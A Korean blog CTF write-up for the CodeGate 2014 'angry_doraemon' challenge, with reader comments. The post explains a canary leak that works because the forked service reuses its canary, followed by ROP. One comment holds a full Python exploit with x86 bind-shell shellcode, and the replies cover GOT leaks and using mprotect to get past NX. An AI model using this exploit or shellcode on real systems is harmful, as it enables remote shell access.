int $0x80

CodeGate 2014 angry_doraemon writeup 본문

해킹공부/캡쳐더플래그

CodeGate 2014 angry_doraemon writeup

cd80 cd80 2014.02.24 18:55



많은 팀들이 푼 문제입니다

문제가 전체적으로 코게주니어 nuclear문제랑 비슷했습니다 ( http://cd80.tistory.com/37 )


angry_doraemon_c927b1681064f78612ce78f6b93c14d9




문제가 올라온직후엔 바이너리 링크가 없어서 메모리 릭 위주로 찾았었는데

조금있다가 링크가 걸려서 다운받아 분석해 풀었습니다



공격대상 함수다

write(fd, "Are you sure? (y/n) ", 0x14u);

이후에 있는 read함수에서 오버플로우가 발생하고

첫바이트가 'y'일 경우 You chooose '%s'!\ 가 출력된다

굳이 y를 골랐다는걸 다시 보여줄 필요가 없는부분에서 출력한다는점에서 의심스러운 부분이다


함수에 SSP가 걸려있지만 소켓프로그램이기때문에 항상 fork로 실행해서 항상 같은 카나리를 갖는다



드래그한부분이 canary의 세바이트다

그런데 y를 10개넣었을땐 카나리가 출력되지 않으니

카나리의 첫바이트가 00인걸 알 수 있다

즉 카나리는 0x84c38b00이다

카나리값을 알았으니 카나리 위치에 그대로 넣어주고 ROP로 풀면된다

신고

'해킹공부 > 캡쳐더플래그' 카테고리의 다른 글

pCTF 2014 mtpox writeup  (2) 2014.04.13
Volga CTF 2014 Exploit 100  (0) 2014.03.29
CodeGate 2014 angry_doraemon writeup  (16) 2014.02.24
CodeGate 2014 4stone writeup  (3) 2014.02.23
CodeGate Junior 2014 nuclear 문제  (0) 2014.02.14
Codegate 2013 vuln 200  (5) 2013.11.28
16 Comments
  • 프로필사진 s2uid 2014.03.08 20:50 신고 죄송하지만,, 저는 왜 문제가 안풀리는지 모르겟네요ㅜㅜ ret에다가 read의 plt를 주고 bss영역에다가 shellcode를 쓰게하도록 exploit을 작성햇는데, bss영역에 shellcode가 올라간것 까지 확인됫는데 쉘코드 첫번째 줄이 실행되는 동시에 세그먼트 폴트가 뜹니다. 명령어 문제는 아닌거 같은데,, bt해봐도 머 나오는것도 없고, 도저히 모르겟네요,.,,
    도움좀 주싶쇼 ㅜㅜ 고수님 ㅜㅜ

    아래는 제가 작성한 exploit입니다.

    from socket import *
    from struct import pack
    from time import sleep


    p = lambda x : pack("<L", x)


    HOST = "192.168.220.128"
    PORT = 8888

    read_plt = 0x08048620
    freespace = 0x0804b0b0

    pr = 0x080495bf
    fd = 8



    shellcode=("\x31\xc0"+
    "\x50"+
    "\x40"+
    "\x89\xc3"+
    "\x50"+
    "\x40"+
    "\x50"+
    "\x89\xe1"+
    "\xb0\x66"+
    "\xcd\x80"+
    "\x31\xd2"+
    "\x52"+
    "\x66\x68\x13\xd2"+
    "\x43"+
    "\x66\x53"+
    "\x89\xe1"+
    "\x6a\x10"+
    "\x51"+
    "\x50"+
    "\x89\xe1"+
    "\xb0\x66"+
    "\xcd\x80"+
    "\x40"+
    "\x89\x44\x24\x04"+
    "\x43"+
    "\x43"+
    "\xb0\x66"+
    "\xcd\x80"+
    "\x83\xc4\x0c"+
    "\x52"+
    "\x52"+
    "\x43"+
    "\xb0\x66"+
    "\xcd\x80"+
    "\x93"+
    "\x89\xd1"+
    "\xb0\x3f"+
    "\xcd\x80"+
    "\x41"+
    "\x80\xf9\x03"+
    "\x75\xf6"+
    "\x52"+
    "\x68\x6e\x2f\x73\x68"+
    "\x68\x2f\x2f\x62\x69"+
    "\x89\xe3"+
    "\x52"+
    "\x53"+
    "\x89\xe1"+
    "\xb0\x0b"+
    "\xcd\x80")


    print "[+]exploit start"
    print "[+]stage1"
    #stage1

    s=socket()
    s.connect((HOST,PORT))
    s.recv(1024)
    s.recv(1024)
    s.recv(1024)
    s.recv(1024)

    s.send("4")
    s.recv(1024)
    s.send("yyyyyyyyyyy")
    parse_string=s.recv(1024)
    s.close()
    sleep(0.1)

    print "[+]get canary"
    canary=""
    canary+=chr(0x00)
    canary+=(parse_string)[23:26]

    print "[+]get ebp"
    ebp=""
    ebp+=(parse_string)[34:38]

    print "[+]preparation payload"
    payload = ""
    payload += "a"*10
    payload += canary
    payload += "a"*8
    payload += ebp
    payload += p(read_plt)
    payload += p(freespace)
    payload += p(fd)
    payload += p(freespace)
    payload += p(len(shellcode))

    input=raw_input("enter")

    print "[+]stage2"
    #stage2
    print "[+]reconnection"
    s=socket()
    s.connect((HOST,PORT))

    s.recv(1024)
    s.recv(1024)
    s.recv(1024)
    s.recv(1024)

    input=raw_input("enter2")
    s.send("4")
    s.recv(1024)

    print "[+]send payload"
    s.send(payload)
    sleep(1)
    print "[+]send shellcode"
    s.send(shellcode)
    s.close()
  • 프로필사진 cd80 cd80 2014.03.08 21:20 신고 메모리 권한문제일것같아요
    제가 작성한 익스플로잇 보시면 mprotect함수를 사용해 메모리권한 설정을 바꿔주고 쉘코드를 받습니다
    작성하신 익스플로잇은 recv만 있네요
  • 프로필사진 cd80 cd80 2014.03.08 21:22 신고 아 지금보니까 제가 익스플로잇을 안써놨군요;;
    블로그에 있는 nuclear 풀이에 있는 익스플로잇이랑 이 문제를 풀때 작성한 익스플로잇이랑 많이 비슷합니다 참고해주세요
  • 프로필사진 s2uid 2014.03.08 21:41 신고 그렇다면 제가 스택에 NXbit을 없애고 스택에다가 쉘코드 올리고 해봣는데 똑같이 뜨는데 이건 왜 일까요?ㅠㅠ
    지식이 부족한 제가 답답하네요 ㅜㅜ
    혹시 그리고 작성한 익스플로잇에 leak가 뭔지 잘몰라서 그런데 관련된 문서나 사이트 주소좀 알수 있을까요?
    mprotect관련 기술문서도 같이 주시면 감사하겠습니다 .ㅠㅠ
  • 프로필사진 s2uid 2014.03.08 21:42 신고 그리고 bss영역에 실행권한을 확인할수있는 명령어가 있나요?
    예전에 codegate 2013년도 vuln200문제는 bss영역에다가 써도 mprotect없이도 잘 되서 똑같이 적용해봣었는데 ㅠㅠ
  • 프로필사진 s2uid 2014.03.08 21:46 신고 아 죄송합니다. 메모리 권한 확인하는 방법 찾아서 확인해보니.. 역시나 실행권한이 없군요ㅡ,ㅡ;;;

    죄송하지만 mprotect를 사용한 방법이랑 leak에관한 기술문서좀 얻을수 있겟습니까? ㅠㅠ
  • 프로필사진 cd80 cd80 2014.03.08 23:03 신고 저도 문서를 보고 공부한게 아니라 삽질하면서 이해한거라.. 죄송하지만 문서는 저도 아는게 없습니다
    뉴클리어 익스플로잇에 보면
    if dunno_mprotect: 부분부터가 GOT를 릭하는 코드인데 한번 주의깊게 살펴보시고 gdb로 디버깅하시면서 살펴보시길 바랍니다
  • 프로필사진 cd80 cd80 2014.03.08 23:13 신고 지금 메모리 릭에 관한 문서 작성중이니 하루이틀정도 후에 블로그 다시 오시면 문서 보실수 있을것같습니다~
  • 프로필사진 cd80 cd80 2014.03.09 01:08 신고 작성했습니다~
    http://cd80.tistory.com/44
  • 프로필사진 s2uid 2014.03.10 11:12 신고 고수님, 질문 하나만 더 드리겟습니다.

    nuclear exploit을 봤는데, dunno_mprotect즉 mprotect의 주소를 모를때에는 이미 한번 불려진 함수들중 하나를 선택해서 메모리 릭 기법으로 got테이블을 출력해서 그 함수와 mprotect함수간의 offset을 미리 계산해논뒤 연산하여 mprotect의 주소를 뽑아낸다, 이런식 맞는것가요?
    그리고 작성하신 exploit에 보면 mprotect의 값이 적혀 있던데 이것은 dunno_mprotect를 통해서 뽑아낸 값인거죠?
  • 프로필사진 cd80 cd80 2014.03.10 12:19 신고 네네 정확합니다
    mprotect_libc 변수엔 원래 값을 넣지 않았고
    처음에 dunno_mprotect 부분으로 함수들간의 거리를 알아낸 후
    제가 갖고있는 libc들과 비교해 같은 거리를 갖는 libc를 찾아 그 libc상에서 mprotect의 주소를 알아낸것입니다
  • 프로필사진 s2uid 2014.03.10 11:55 신고 mprotect 할때 혹시 규칙이 있나요? 시작주소를 bss영역 시작주소로 주고, 크기를 0x200으로 지정하니까
    반환값 -1로 되고 권한이 바뀌지 않다가
    bss영역 전체로 크기를 바꿔주니 되네요,
    혹시

    에러 중에
    EINVAL
    addr가 유효한 포인터가 아니거나, 또는 PAGESIZE의 배수가 아니다.

    이것과 관련된것인가요?
  • 프로필사진 cd80 cd80 2014.03.10 12:20 신고 mprotect의 첫번째 인자는 0x1000의 배수여야 합니다
    예를들어 bss영역이 0x0804a0a0 일경우
    mprotect(0x804a000, 0x400, 7) 등 사이즈만 적절하게 조절하셔서 설정하시면 됩니다
  • 프로필사진 s2uid 2014.03.10 12:59 신고 정말 감사합니다... 많은걸 배우고 갑니다 ^^
  • 프로필사진 2017.02.12 02:06 비밀댓글입니다
  • 프로필사진 cd80 cd80 2017.02.22 22:13 신고 github.com/ctfs/ 가면 구할수 있습니다
    옛날것들은 shell-storm.org 의 repository에도 올라옵니다
댓글쓰기 폼